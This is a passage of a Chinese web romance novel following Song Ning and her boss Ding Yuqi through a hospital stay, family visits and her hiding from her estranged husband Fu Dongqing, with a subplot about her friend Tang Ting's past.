她从丁予期的左边西装口袋里摸出来了手机,然后用他的指纹解了锁。 映入眼帘的屏幕,让她愣了一下。 ……一个高中女生,还穿着校服,正捧着一本英文课本,低头默默读着。 是她。 十六岁的她。 医生催促道:“这位小姐,请你尽快联系他的家属过来。” 宋凝连忙点头:“好的。” 她在通话记录里找到了一个叫【大哥】的拨打了过去,电话那头,丁予墨接的很快:“喂?” “丁大哥,是我,宋凝。” 丁予墨似乎并没有太惊讶,只是平静地问道:“嗯,我听出来了,予期现在情况怎么样?” 宋凝说:“医生说还确定不了,要做了一个颅脑平扫,需要家属到场。” 丁予墨想了想说:“宋小姐,能拜托你件事吗?” “什么?” “我太太刚刚摔了一跤,动了胎气,我实在是走不开,一会儿你帮予期签个字吧。” 动了胎气? “可我今天见到丁太太的时候,她还穿着高跟鞋健步如飞的……” 丁予墨说:“她爱美,怀孕初期我也不想太约束她,喜欢穿就穿了。但是刚刚可能是因为担心予期,走路不小心摔了,现在疼的死去活来的,不信你听——” 他把手机挪了个角度,那边立马传来苏菲“哎哟哎哟”的呼痛声。 宋凝问了一句:“丁太太严重吗?” “不知道呢,我也准备送她去医院看看。” “那正好,我们现在就在首都第一人民医院,你也送丁太太过来吧,顺便也可以看看小丁总。” 丁予墨:“我觉得还是去妇幼保健院比较好,那边比较专业。” “可是……” “宋小姐,事不宜迟,我得赶紧送我太太过去了,予期那边就交给你了啊!” 嘟嘟嘟—— 电话挂断了。 司机就在她身后,探头探脑的。 “怎么样,丁大少爷和我们家小姐过来吗?” 宋凝心乱如麻,她摇了摇头:“不过来了。你家小姐怀孕了,摔了一跤,他们去妇幼保健院了。” 司机眼睛一亮,却一点也不担心,而是指着病床上的丁予期说道:“那……还趁热不?” 第八十四章 把他裤子脱了 路过的护士:“什么趁热?” 司机摸了摸鼻子,干笑了两声,虽然没有再说话了,但是眼睛滴溜溜的乱飘。 于是护士看向了宋凝。 宋凝:“……没什么,怕我老板饿着,我让人去给他买点吃的,趁热。” 护士说:“他如果一会真的要做手术的话,是不能进食的。对了,他的家属来了没?” 宋凝实在有些无奈。 首都这个地方,他的家属应该就只有丁大哥了吧? 现在丁大哥来不了,那这个字到底是谁来签? 司机突然指了指宋凝,对护士说道:“手术给她签字就行。” 护士也愣了:“她不是下属么,医院规定必须是要家属才行。” “小姑娘脸皮薄,不好意思承认罢了,其实就是家属。” 宋凝:“……” 司机在她耳边低声说:“宋小姐,如果不这么说的话,小丁总一会儿真没人签字了,耽误治疗呀!救人一命胜造七级浮屠,你忍一忍就过去了。” ……神特么忍一忍就过去了。 跟刚刚那句趁热有异曲同工之妙。 这个司机也是个神人。 护士打量了一下宋凝,又确认了一遍:“你到底是不是家属?” “……还没结婚。” “哦,懂了,女朋友是吧?”护士无奈吐槽道:“你也是够沉得住气的,男朋友都躺着了,还避嫌呢。你们公司是不是有什么不准办公室恋情的规定啊?” 宋凝干笑了两声,选择略过这个话题。 “我能给他签手术同意书吗?” 护士点了点头:“女朋友是可以的,但是你最好还是通知一下他的直系血亲。” “我……” 司机直接抢答了:“刚刚联系过他哥哥了,他哥哥让宋小姐签。” 宋凝:“……” 司机:“我是不是嘴快了?” 那不是快了,那是相当快了。 护士说:“那就没什么问题了。对了,这位小姐你跟我来一下,你男朋友的基本信息你得过来登记一下,方便我们一会儿帮他建档做病历。” “……哦,好。” 宋凝跟着护士去了挂号处。 病床上,丁予期缓缓睁开了眼睛,看着她离开的背影。 直到她的身影消失在视野里。 “别看了,眼珠子都要粘在人家身上了。” “司机”一屁股坐在病床边,没好气地吐槽。 丁予期悻悻收回了目光,“她今天为了参加聚会,穿的是高跟鞋,刚刚又是走又是跑的,估计脚又要疼了。” “啧啧啧,你看你这个样子。” 丁予期瞪了他一眼:“你干嘛冒充司机?” “哈哈哈哈,我这不是好奇么,能让你丁三少爷魂牵梦绕这么多年的女人,我也想看看长什么样啊。” 丁予期叹了口气:“现在看到了?” “嗯,还不错。” 丁予期微微勾了勾唇,但是很快又板下脸来:“苏澈,你要是再敢多看她一眼,我把你眼珠子挖出来。” 苏澈做了个鬼脸:“行行行,不看就不看,小气死你。” “哼。” “诶,真这么喜欢啊?” 丁予期也正色了一些,态度显得很严肃:“嗯。” 苏澈翘了个二郎腿,脚尖来回晃着:“表白了吗?” “……还没。” 苏澈一下就愣了:“合着你现在还是努力努力白努力啊?” 说起这个丁予期就来气:“她现在还没办离婚手续呢,你让我怎么表白?就算我表白了,她也不会答应的。” “那你打算怎么办,就这么耗着?” 丁予期烦躁地皱眉:“慢慢来吧。” “大哥,你都暗恋十五年了,还慢慢来啊?” 丁予期无奈:“那我能怎么办?” 苏澈坏笑:“趁热办。” 一提起趁热这两个字,丁予期抬起腿就踹了他一脚:“去你大爷的……” “哟,醒了啊?” 两人吓了一跳。 护士带着宋凝回来了,检查了一下丁予期的各项身体数据,轻声说道:“血压和心率都正常,应该没什么大问题,你还有哪里不舒服吗?” 丁予期捂着头:“护士,我还是头晕。” “那就稍等一下,我让人推你去做一个颅脑CT。” “好。” 宋凝拿着一堆单据走过来的时候,脸色都是黑的。 她今天参加这个生日会,本来想着能免费吃个席,现在可好,席没吃上,戏演了一出,现在还得倒贴钱。 她要是下属,这钱她完全可以不出,等丁予期醒了,或者是丁大哥来了再去结清。 但现在护士直接把刚刚产生的费用清单都打印出来了,还让她预存了五千块,说以后多退少补。 真是…… 没收到女朋友的好处,净履行女朋友的义务了。 “司机”见她回来了,连忙站了起来,规规矩矩地叫了一声:“宋小姐。” 宋凝:“你开车很累吗?” 不是她看不起司机,实在是司机刚刚翘着二郎腿抖啊抖的样子,看起来真不像是个普通司机。 丁予期主动说:“我大嫂的亲弟弟,苏澈。” 那就也是个豪门小公子了?! 一想到刚刚他又是苦大仇深担心丁予期被打死,又是让她趁热的。 你们豪门都有戏瘾是吧? 苏澈嘿嘿笑了笑:“宋小姐,你好啊。” “啊,苏先生,你好你好……” 苏澈双手插兜,做了个投篮的动作,“咻~那这里没我事了,我就先走啦,回见~” 苏澈离开了。 宋凝看着丁予期:“……他刚刚那一趴虚空投篮是什么意思?” 丁予期一脸嫌弃:“没什么意思,这家伙就是个中二病,别理他。” “哦。” “诶,那个家属——” 护士冲宋凝招了招手:“你过来帮个忙。” 宋凝问道:“需要我做什么?” 护士说:“把他裤子脱了。” 宋凝:“!!!” 看她愣着一直没动,护士催促她:“快点啊,给他换上病号服,要赶紧去做CT了,今天CT室大排长龙,后面一堆人都等着呢。” 宋凝连忙回头去看了一眼。 苏澈应该还没走远,她现在出去把他喊来给丁予期脱裤子还来得及吗? 护士已经开始拆仪器了,又催了一遍:“诶,你听见我说话了吗?赶紧的。” 宋凝问:“丁总,您能自己脱一下吗?” “我……” “他不是说了,他头晕!” 护士又来抢答了。 丁予期朝她扁了扁嘴:“是啊,我头好晕啊。” 护士颇为嫌弃地看了她一眼:“都是男女朋友,什么都做过了,还矜持个什么劲儿啊!快点,别耽误其他病人的时间!” 第八十五章 他的白月光 宋凝深吸了一口气。 脱就脱,反正被看光光的人又不是她! 宋凝伸出手,开始摸索着解他的皮带。 皮带倒是还好说,男士的皮带基本都那个样子,她之前还给傅东擎买过,基本算是熟门熟路。 但是这个拉链就…… 位置很尴尬。 护士已经快要对她怒目而视了。 宋凝干脆心一横,伸手把拉链拉开了。 然后拽着裤脚把他的西裤给脱了下来。 她别开脸,把他的裤子拿在手里,尽量不去看他的某个部位。 “……你怎么又停下不动了?”护士:“还有呢?” 宋凝惊讶地瞪大了眼睛:“换个病号服而已,不用连内裤都脱吧?” 护士无语到了顶点,翻了个特大号白眼:“但是病号服的裤子你还没给他穿上啊,你要让你男朋友一路上都被人围观吗?” 哦,对,还有病号裤。 宋凝于是又手忙脚乱地给他把裤子穿上了。 快穿好的时候,丁予期还颇为配合的抬了抬腰,方便她把裤子往上提。 “还有衣服,快。” 反正裤子都脱了,到了衣服的时候,宋凝就有些恶向胆边生了。 她几乎是目不斜视,飞快的解开了他衬衫的扣子,然后扯了下来。 丁予期被勒得“嘶——”了一声。 护士颇有些同情:“你女朋友平时对你也这么凶吗?” 丁予期叹了口气:“野蛮女友嘛。” “但我看你好像还挺享受?” 其实从刚刚宋凝摸索他的腰间解他的皮带开始,丁予期脸上和脖子上也染上了一层粉色。 听到护士的调侃,丁予期舔了舔唇:“……情 趣。” 护士恍然大悟:“懂。” 丁予期被几个护士一起推进去做CT了,宋凝就抱着他的西装和衬衫坐在外面等。 一想到刚刚的画面,她就尴尬地想找个地缝钻进去。 她刚刚就应该跟护士在收费处再磨蹭一会儿,找个借口说自己钱没带够,或许是去上个洗手间也行啊。 等苏澈帮他换完了病号服她再回来。 真是失策! 嗡—— 西裤口袋里的手机振动了一下。 是丁予期的电话。 她没接。 可是那边的人不依不饶,一次没人接,紧接着打第二次。 宋凝担心是丁大哥或者是苏菲担心他的伤势,于是还是把手机拿出来看了一眼。 只不过,是瑞贝卡。 那应该是酒店的事情吧。 宋凝按下了接听键。 瑞贝卡的声音很快传了过来:“丁总,今天阿姨来打扫您房间的时候,不小心打碎了您的星星瓶。我已经找了人过来,尽力搜集了,但是还有三个没找到。那位保洁阿姨需要辞退吗?” 星星瓶? 宋凝问:“什么星星瓶?” 瑞贝卡也愣住了:“宋小姐?” “对,是我。” “丁总……他已经把电话都交给你接了吗?” “不是,没有,”宋凝解释道:“丁总在医院,进去做检查了,他的衣服和手机现在都是我在保管着。我看是你的电话,以为酒店有什么紧急的事情,就想着先接一下,一会儿方便告诉他……” “衣服?你给他脱的?” 宋凝:“……” 瑞贝卡,你可真会抓重点啊。 “到底是什么星星瓶啊?是很重要的东西吗?” 瑞贝卡说:“你不记得了?” 怎么跟丁予期问一样的话。 她到底该记得什么? “好吧,你不记得就算了。就是中学的时候丁总过生日,有人送给他一个星星瓶,里面全都是自己折的纸星星,丁总当做宝贝一样珍藏着,都不允许我们动。” “是傅东擎送他的?” 瑞贝卡哑然失笑:“傅总一个大男人,哪里会折这种纸星星啊,而且这一瓶有一千多颗呢,傅总哪有这个时间。” “说的也是。那就是……他的白月光送他的?” 瑞贝卡顿了顿,然后给了肯定的答复:“对。” 宋凝顿时有些融会贯通了。 原来丁予期的白月光是真的存在啊! 而且也是他们中学的校友! “瑞贝卡,你知道丁予期一直喜欢的那个女生叫什么吗?” “她……” “宝贝~” 突然有人在她身后说话,宋凝吓了一跳。 回过头才看到,丁予期不知道什么时候已经出来了,正痛苦地朝她伸出手:“过来扶我一把。” 宋凝这才反应过来,他那一声气泡音的“宝贝”,原来是在叫她。 她硬着头皮走了过去,从护士手里接过他。 只是她的力道终究是不如熟练工护士,力气不够,丁予期整个人都朝她压了过来,她被挤在他和墙壁中间。 他的头就埋在她的颈窝里,烫人的呼吸就喷在她的颈侧。 宋凝本能地缩了缩脖子。 “别动……” 丁予期一把稳住了她。 他微微偏头,在她耳边说:“傅东擎在看。” 他说话的时候,嘴唇几乎贴着她的耳垂。 宋凝下意识地想要去看傅东擎在哪个方向。 “他在哪儿?” “不知道。” “那你怎么知道他在看?” 丁予期嗤嗤地笑开:“骗你的。” 宋凝气得推开了他:“耍我很有意思是不是?” 丁予期痛苦地皱眉:“你轻点,我真的头晕。” 宋凝看他这一次应该不是装的了,于是没有再推开他,而是问道:“CT做完了吗?结果什么时候出来?” “说是要明天早上。” “这么慢?” “宋经理,你也不看看现在几点了?人家医护人员也是有下班时间的。” “那明天你在酒店休息,我过来帮你取片子。” “好。”丁予期:“谢谢宝贝。” 宋凝头皮发紧:“宝你个头啊宝……” “那个……” 电话里突然传出的声音又让宋凝差点吓得把手机扔出去。 丁予期也听见了,他从宋凝手里把手机接了过来,看了一眼来电显示,然后放在耳边:“有事吗?” 瑞贝卡说:“没什么重要的事,我就不打扰你们了啊,我先挂了。” “嗯。” 眼看着电话被丁予期挂断,宋凝有些惊讶,怎么就挂了呢? 说好的暗恋了十五年的白月光呢? “丁总,刚刚瑞贝卡说,你白月光送你的星星瓶被保洁阿姨不小心弄碎了,有几个星星不知道滚到哪里去了,没找到。” 丁予期“嗯”了一声。 “你白月光送的啊,你就这么轻描淡写的‘嗯’?” 丁予期从她的颈窝里抬起头来,偏头看向窗外。 宋凝:“看什么呢?” 丁予期指了指天上:“看,我的白月光。” 夜空,一轮月牙,白的很纯洁,仿佛身披婚纱的新娘。 宋凝不禁感叹:“怪不得大家都把喜欢的人叫白月光呢,确实很美。” “嗯,很美。” 宋凝在看月光。 丁予期在看玻璃上映照出的,她看月亮的脸。 第八十六章 那一晚跟唐婷有关 以及,他没有骗她。 傅东擎就在走廊的尽头站着。 只不过宋凝背对着他,没有看到。 两个男人的眼神在空中交汇,似乎屏蔽了所有人,都袒露着雄性动物的凶狠。 傅东擎是纯狠,而丁予期则是带着一点玩味的狞笑。 傅东擎沉着脸快步往这边走过来,丁予期下一秒就把头由靠在宋凝肩上了。 “……怎么又头晕了?” 宋凝看月亮看的正美呢,肩膀上duang的一个重压。 丁予期虚虚地搂着她,既不会太让她厌恶,但又把她的所属权展示给了正在关注着自己这边的人。 “嗯,还有点。” “护士都说了,你有可能是轻度脑震荡,你刚刚还非要看什么白月光,你就不能尽量保持一个姿势,不要来回摇头晃脑吗?” 丁予期:“行,我就保持这样,不动了。” 宋凝看着自己肩膀上的大脑袋,叹了口气。 “我们回病房吧,我真撑不住你。” “嗯,行。”丁予期还是有些心疼她:“我的头很沉吗?” “唔,比你的三个好大儿轻那么一丢丢。” 两个人一起相互依偎着离开,消失在视野尽头。 傅东擎刚想追,电话就响了。 他听了一会儿,对电话说道:“嗯,我现在过去。” 他走过去,站在了方才宋凝待过的地方,顺着她的角度,抬起头往窗外看。 一轮弯弯的月牙,确实很美,怪不得她看了那么久。 只可惜,现在他无心欣赏。 …… 唐婷是在拍戏途中被人带过来的。 不是她自己的房车,而是一辆陌生的豪车。 手机也被没收了,车里没有人,车门被锁了,她出不去,也没办法求救。 她原本以为是哪个疯狂的粉丝,或者是色胆包天的富二代。 反正总不至于要她的命。 于是就静观其变了。 直到有一个黑衣服的人上了车,发动了车子。 唐婷顿时紧张起来:“你是谁,要带我去哪儿?” 黑衣人不语,只是一味的开车。 唐婷直接扯下自己脖子上的丝巾,勒住了黑衣人的脖子:“ 你再不说我勒死你了啊!” 黑衣人终究还是有点慌了。 “唐小姐,你安静坐着吧,你是太太最好的朋友,反正傅总肯定不会伤害你的。” 傅总? 傅东擎? 唐婷瞬间来了火气:“他要干什么呀?我正拍戏呢!那么大一个剧组,灯光摄像导演编剧都等着我呢!你赶紧停车,或者送我回去。” 黑衣人只是抱歉地说:“唐小姐,我劝你收一收脾气,傅总今天心情不太好。” “他心情好不好关我什么事?赶紧停车!” 不知道是不是她发脾气起了作用,黑衣人终究还是靠在路边停车了。 唐婷推开车门就想下去,但是刚开了个缝,车门就又从外面被关上了。 小何一脸肃杀地站在外面,跟黑衣人点了点头,然后接替了他的位置,重新发动辆车子。 唐婷是认识小何的。 她问道:“傅东擎到底要干什么?” 小何的声音很冷:“问你点事情。” “他傅大总裁想知道什么,自己去查不就完了,还用问我?” 小何没有再说话,只是继续开车。 这次去的地方似乎很远,唐婷见他跟个哑巴一样三棍子打不出一个闷屁,索性不再问了,闭上眼睛睡觉。 去了再说。 凌晨时分,车子终于慢慢在一个地方停了下来。 小何叫了一声:“唐小姐,醒醒。” 唐婷睡眼惺忪,咕哝着:“这是哪儿啊?” “您看看就知道了。” 唐婷微微睁开眼,看了看车窗外。 或许是大晚上的路灯昏黄,她有些认不出方位。 不过周围基本都是平房,还有几个阴暗的小巷子,里面隐隐约约透出来一些红红绿绿的灯牌,写着【发廊】或者【按摩】。 看起来像是个城乡结合部。 她摇了摇头:“傅东擎带我来这个鸟不拉屎的地方干什么?” 小何下了车,帮她拉开车门:“唐小姐要是认不出来的话,不如下车仔细看看。” 唐婷刚睡醒,还有些迷蒙,但是下一秒,她就愣在原地。 红色的灯牌上,【荣成快捷酒店】几个字,深深刺痛了她的眼睛。 她瞬间脸色惨白,飞快的别过身去,不愿意再看。 小何走了过来,问道:“唐小姐,你怎么了?” 唐婷声音颤抖,额头也浸出了细细密密的汗珠,“没什么,就是……晕车。” 小何抽出几张纸巾递给她:“你看起来好像有点热。” “谢谢……” 唐婷满头是汗,可小何碰到她手指的时候,冰的他一激灵。 小何叹了口气,拉开了车门:“唐小姐,上车吧,有空调你能舒服些。” 唐婷上车的时候,脚下绊了一下,差点扑进去。 她几乎是有些狼狈地上了车,坐在后排深呼吸了好几口,才勉强调匀了呼吸。 小何缓缓开了车,见唐婷闭着眼睛,他不着痕迹地把后视镜上安装的针孔摄像头挪了挪。 一个小时后,小何把唐婷送回了剧组。 珊珊在等她,见唐婷下车的时候脸色很不好看,有些迟疑。 小何说:“明天帮她跟剧组请个假吧。” 珊珊问:“请问你们傅总把她带去哪里了?” 小何沉默了一会儿,说:“别问那么多了,快扶她进去休息吧。” 小何上了车,把车开到了一个僻静的地方,然后点开了视频通话。 视频那头,傅东擎神情冷峻。 小何说:“傅总,看来……那一晚的事情真的跟唐婷有关。” 而且,应该不是什么愉快的记忆。 不然唐婷不会反应那么大,整个人都失魂落魄的样子。 其实从跟吴教授见过面开始,傅东擎就已经有些怀疑了。 宋凝的好朋友也有几个,那个干婚纱摄影的祝如星也是一个,但是宋凝好像格外在意唐婷。 那种在意,超越了一切,仿佛是一个要护着崽子的鸡妈妈,一碰就应激。 明明,宋凝不是那种神经很敏 感的人。 大多数时候,她对感情都是比较内敛的,就连他们十五年的感情,她也几乎从来没有很奔放的表现出来对他的爱意或者占有欲。 但她的温柔和细心,都流淌在细枝末节里。 每次出差,她都会给他准备好他需要的东西。 她熟悉他的一切生活习惯,都会替他考虑周全。 甚至他无意中说了一句自己喜欢某个商场的空气清新剂,第二天家里就会出现同款。 好像除了跟丁予期一见面就斗嘴之外,她其他时候都安静地像是一条静静流淌的小溪。 丁予期…… 一想起这个名字,傅东擎又狠狠按了按眉心。 第八十七章 丁太太,您真体贴 他到现在都不是很确定,丁予期跟宋凝谈上恋爱这件事,到底是不是真的。 如果是假的,可今天他靠在宋凝身上的时候,她为什么没有推开? 她不是最讨厌他的吗? 但如果是真的……是从什么时候开始的呢? 距离林澜的事情被宋凝捅破,也就过去了半个月不到。 宋凝是个慢热的人。 他不相信宋凝会在短短半个月的时间里,喜欢上另一个人。 可他想不明白的事,就算宋凝对他失望了,精神崩溃之下喜欢上了丁予期,那丁予期对宋凝又是什么样的感情? 真的喜欢吗? 傅东擎感觉心烦透了。 …… 病房里,丁予期被医院要求留院观察。 宋凝就趴在床边睡着了。 窗外的夜风把她的碎发吹乱,丁予期伸手,帮她拨到耳后。 她的感冒应该是还没有完全好。 鼻子有些闷闷地不通气,于是微微张开了嘴巴喘气。 从他的角度看去,隐约可以看到里面嫩红色的小舌头。 首都要比S市冷很多,风大,夜凉。 丁予期想了想,下了床,轻手轻脚地把她抱上床躺着,换自己坐在她原本的陪护椅上。 她睡的很安稳,被他搬运了一会儿还是没醒。 只是纤瘦的手就垂在床边,肤色白的惊人。 不知道她用的是什么护手霜,皮肤细腻的仿佛汝窑的精品白瓷,又像是白玉雕刻而成观音像的手。 他轻轻拿着她的手,放在自己的唇边,小心翼翼地吻了吻。 她的指尖似乎觉得有点痒,微微抖了抖,然后缩回去了。 丁予期看的好笑,然后追了过去,把她的十根手指都吻了个遍。 他最爱的就是她这双手。 美的很温柔。 只是夜凉如水,心中的渴望肯定不只是吻过手这么简单。 但现在还不是时候。 风似乎更大了一些,宋凝冷的把自己缩成了一小团。 丁予期轻轻在她身边躺下,把她拥进怀里抱着,抖开了被子,把两个人都紧紧包裹住。 他把下巴放在她的头顶,轻轻蹭了蹭:“睡吧。” 早上六点,护士交接班。 刚一进门,就看到丁予期给她们做了个噤声的手势,示意自己怀里的女人还在睡着。 护士点了点头,比了个OK的手势。 她来检查了仪器上的这项数值,都处于正常阶段,应该没什么大事。 再看病人—— 他自己侧躺着,就在床边,稍微一动就得掉下去。 可他怀里的女人,几乎占据了整张病床,睡得小脸儿泛红,无知无觉。 护士一脸磕到了的表情,轻轻退了出去,关门的时候声音都放到了最小。 只是声音再小,还是弄出了些动静。 宋凝悠悠转醒,第一反应是房间内空无一人,第二反应是自己怎么睡在了病床上,第三 反应就是,后背紧紧贴着她的,滚烫的胸膛。 她小心翼翼地回头看,丁予期还合眼睡着,似乎还没有睡醒。 她轻手轻脚地把环在自己腰间的手轻轻拿开,可他似乎察觉到了,又紧紧地抱住了:“别动,头晕。” 宋凝只得停下了动作,又慢慢躺了回去。 ……这个脑震荡的后遗症怎么睡了一晚上还没好啊? 这以后要是一直头晕可怎么整。 还有,他还头晕的话,应该不能把自己弄上床吧。 那就是她自己躺上来的? 跟一个病人争病床有点可耻,而且她还占了大半个床。 宋凝暗暗头疼,这一会儿要是他醒了,该怎么解释他们两个现在这个状况。 “诶,就是这间吧?呀!” 苏菲推开门就看到了两个人抱着躺在一起,飞快的转过身去:“我什么都没看到啊,什么都没看到。” 丁予墨也背了过去,低沉地声音叫了一声:“予期!赶紧起来!” 只有苏澈瞪大了眼睛冲了上来,恨不得看个清清楚楚明明白白真真切切。 宋凝都快尴尬死了,偏偏苏澈还凑近了跟她打招呼:“早啊,宋小姐。” “哈哈,早,早。” 下一秒,她眼前一黑。 丁予期直接用被子把她整个包裹在里面了。 被子上,还隐隐残留有他的体温。 虽然有点闷,但好在她不用面对这个社死的场景了。 苏菲问:“好了没有啊?” 苏澈嘿嘿笑:“姐你转过来吧,他们都穿着衣服呢。” 丁予墨先转过来看了一眼,确定丁予期身上的病号服完整,才拍了拍妻子的肩膀:“没事了。” 苏菲这才扭过身看了看:“咦,怎么就予期你一个人,小凝呢?” 苏澈指了指被子:“这里面呢。” “你把小凝埋在被子里干什么呀?别把人给闷坏了,赶紧把被子掀开!” 丁予期笑的慵懒:“我觉得她应该更喜欢待在里面。” 苏菲:“哈?” 丁予墨:“咳咳,应该是害羞了。” 苏菲:“哦哦哦!懂了懂了。小凝,那你记得换气啊,别把自己真闷坏了。” 宋凝:“……” 丁太太,您真体贴。 苏菲转而去问丁予期:“你怎么样了?医生怎么说?” “昨晚做了CT,结果今天早上才出来,还没来得及去取。” 说到这个,丁予期忍不住抱怨了一句:“大哥大嫂,你们来这么早干什么?不睡个懒觉么?” 苏菲啧啧有声:“怎么,嫌我们打扰你们了是吧?” “有点。” “出息!” “还不是你大哥担心你,一大早就急匆匆要来看你。你个没良心的……” 丁予期叹了口气:“算了,来都来了,坐吧。” 苏菲笑骂道:“你还老大不情愿了是吧?不欢迎的话我们立马走。” “别呀,”丁予期说:“大嫂,昨天忘了跟你说,生日快乐。” 苏菲眼角带着笑:“行,昨天你跟小凝遇到事了,我也不跟你计较了。” 宋凝内心:要不还是让他们走吧……真的快喘不过气了。 她用力吸气,微微把被子撑 开一条小缝隙,想要吸一口新鲜点的空气。 可是就这都被苏澈逮到了。 他歪着头嘻嘻笑:“宋小姐你脸怎么这么红?” 宋凝:“我……闷的。” 苏菲嗤嗤地笑开:“要不还是让小凝出来吧,都是自家人,没什么不好意思的。” 下一秒,眼前猛地一亮,然后又黑了下去。 丁予期把头探了进来:“鸵鸟小姐,给句话,出还是不出?” 第八十八章 表面柳下惠实则西门庆 都被人问到脸上来了。 她也不能继续装蜗牛。 宋凝扒拉开了被子,整理了一下自己的头发:“丁大哥,丁太太,你们好。” 苏澈:“我呢我呢!” “苏先生,你也好。” 苏澈这才满意了,笑眯眯的。 苏菲手里拎着一个保温饭盒,拿过来放在了床头柜上,快速的打开。 一股浓郁的鸡汤香气瞬间飘散在整个病房。 苏菲说:“这是我让家里的厨师连夜煲的鸡汤,很补的,你们两个早上应该还没吃饭吧?来,趁热喝。” 丁予墨:“对,趁热。” 宋凝现在对这两个字已经有条件反射了。 她皱着眉,看了看丁予期。 他好像没有说喝,也没有说不喝。 她又看了看床,一张单人床,几乎躺在正中间,丁予期刚刚还在边上,现在为了躺的稳当点,也回到了床中央。 所以她们两个现在的位置是丁予期双腿岔开,曲起支在她身体的两边,把她夹在中间。 再加上他微微俯身的姿势,真就像是把她抱在怀里。 丁予期:“你看看我又看看床是什么意思?” 宋凝:“!!!” “我没什么意思。” 苏澈摸着下巴,像是侦探一样眯着眼睛,眼神在他们两个中间扫来扫去:“那肯定是趁热的意思了。” 偏偏丁予墨和苏菲两个人,还不知道昨晚这两个罪魁祸首的字到底造成了多神奇的结果。 还在一个劲儿的催她。 “是啊小凝,鸡汤最怕冷了,趁热喝。” 宋凝觉得,她要不要还是默默再钻回被子里算了。 最后还是丁予期接了过来,用勺子轻轻放在她唇边:“来张嘴。” 宋凝说:“你放那吧,我一会儿喝。” 丁予期似笑非笑地看着她:“大家都说了,要趁热。” 宋凝狠狠瞪他。 看他一脸促狭的表情,昨晚他应该就没晕吧! 苏澈跟她的对话,他全听到了! 苏菲看着两个人大眼瞪小眼的,眨了眨眼,微笑问道:“你们两个怎么感觉气氛怪怪的?” 宋凝立马收回视线:“没有。” “可是我怎么觉得你们昨晚好像发生了什么……” 宋凝几乎是立刻说道:“我们什么都没发生!” 苏菲呵呵笑:“也是,你现在还没办离婚手续,发生什么也不太合适。这回我得表扬予期啊,忍得住,真男人!” 丁予墨默默推了推眼镜,“这都忍得住,真不是男人。” 丁予期:“……” 应该是看出来她有点尴尬,丁予墨主动说道:“予期的检查结果是不是早上就出来了?” 宋凝立马get到了台阶,飞快地下了床:“对,我去取。” 丁予墨给老婆使了个眼色:“你陪小凝一起去。” 苏菲:“正有此意。” 说着,她还丢给自家老公一个意味深长的表情,然后挎着宋凝的手臂一起出了门。 两个女人离开了,男人们说话就不用那么拘谨了。 丁予墨挑眉:“真什么都没干?” 丁予期点头:“我跟她现在还是非常纯洁的上下级关系,没有越雷池一步。” 苏澈从果篮里抠出来一颗苹果,嘎吱嘎吱地嚼了起来:“我看你就是表面柳下惠实则西门庆,也就是怕宋小姐跟你翻脸,所以才把脑子里早就演练好的那些招式全都强行按了回去。” 丁予期白了他一眼。 哪壶不开提哪壶。 他倒是想当西门庆,可宋凝又不是潘金莲。 “这种事还是两情相悦的时候再做吧,宋凝现在脑子里除了她朋友唐婷就是她爸的酒店,跟个绝缘体一样,再等等吧,至少得先帮她把婚离了再说。” 丁予墨夸了一句:“这样是对的,对小凝尊重一些。” “嗯。” “但还是很不是个男人。” 丁予期:“……” 宋凝和苏菲很快就取到了丁予期的检查结果—— 一切正常。 宋凝还特地找了个护士问了一下:“他连脑震荡都没有吗?” 护士把片子举高看了看:“没有啊,一点都没荡。” 那他昨晚说头晕…… 大尾巴狼! 苏菲到底是过来人,一看宋凝的表情就知道大概怎么回事了。 苏菲拉着宋凝的手在等候区的椅子上坐下,“你昨晚守了他一晚上,歇会儿吧。他们男人们说的话题我都不感兴趣,我们就坐这聊。” 苏菲是个很能独当一面的大姐姐,宋凝其实还挺喜欢她的。 而且面对苏菲,她总比面对丁予期要舒服一些。 苏菲问她:“你不喜欢予期,对吧?” 宋凝原本想摇头的,但是丁予期昨晚那一场大戏演的,所有人都看到了。 她有些迟疑。 但苏菲笑了笑说:“没关系,其实我昨天就看出来了,予期几乎是剃头挑子一头热,你这边对他倒是没什么感觉。” 宋凝说:“丁太太你误会了,他确实是剃头挑子一头热,但不是对我。” “为什么这么说?” “他有喜欢的人,他现在对外宣称跟我的关系,只是为了让我跟傅东擎离婚。” “哦,你的意思是,他费这么大劲,还挨了顿打,每天兜圈子一样的带着你从H市到S市,又从S市到首都,都是因为他和傅东擎的交情?” “……应该吧。” “可还托他大哥找到丽晶酒店的现任老板,把丽晶酒店买了下来,也是为了傅东擎。” 苏菲轻笑:“你信吗?” 宋凝咬着唇,没说话。 苏菲说:“女人的第六感都是很强的,小凝,你其实也察觉到了吧,只是你不敢承认,所以才一直用傅东擎当挡箭牌,顾左右而言他。” 都说梦境就是人的潜意识。 那一晚关于丁予期的梦境,她到现在都还记忆犹新。 因为那个梦境太炸裂了。 炸裂到她至今都无法相信,自己为什么会做一个那样的梦。 尤其是,昨晚他跟傅东擎对峙的时候,他说的那些喜欢她的话,跟梦境里面的……基本都相同。 苏菲说:“我也明白,你跟傅东擎十几年的感情,不是说断就能断的……” “我跟傅东擎是真的断了,”这一句,宋凝说的十分斩钉截铁:“我跟他之间,是误会也好,是不甘也罢,他把林澜带回家,穿着我的睡衣躺在我的床上那一刻,我其实就已经知道,我们完了。” 关于傅东擎在外面另外有情人的事情,苏菲这几天也听说了一些。 但是骤然间听到宋凝说起这件事的细节,她还是没忍住微微皱眉:“居然还带回家了?” 第八十九章 眼光不错 “嗯。” 苏菲叹了口气:“既然如此,那就是缘分尽了。不过我看昨晚傅东擎那个样子,他不见得会愿意离婚。” 宋凝说:“他会愿意的。” “你有办法让他同意?” “他同不同意都无所谓了,时间一到,手续就能办。” 苏菲想了想,问道:“冷静期还有多久?” “半个月不到。” “那也就是说,只要这半个月让傅东擎找不到你就行了?” 宋凝刚想说,这个地球上,还有哪里他傅总找不到的呢? 她都跑来首都了,他都能跑过来堵她。 苏菲红唇一勾:“我有办法。” 苏菲的办法,就是把她带去了她家。 一个颇有南洋风格的庄园。 苏菲说:“这半个月你就在这里住着,门口有部队的警卫员日夜值守,傅东擎进不来。” 刚刚开车进来的时候,宋凝的确看到外面有站岗的兵哥哥。 联想到丁予期曾经提起,苏菲家里有部队背景,宋凝也微微放了心。 傅东擎权势再大,也不过是个商人。 这里可是首都,皇城根,能在这里还有警卫员站岗放哨的,他八成是不敢惹的。 苏菲带着她去了庄园最后面的一个别墅里,指挥着女佣收拾房间,打扫卫生。 十几二十个人来回忙碌,看的宋凝越来越心虚。 苏菲问她:“目前就先这样,后面你需要什么再告诉我,我让人去置办。” 宋凝连忙摆手。 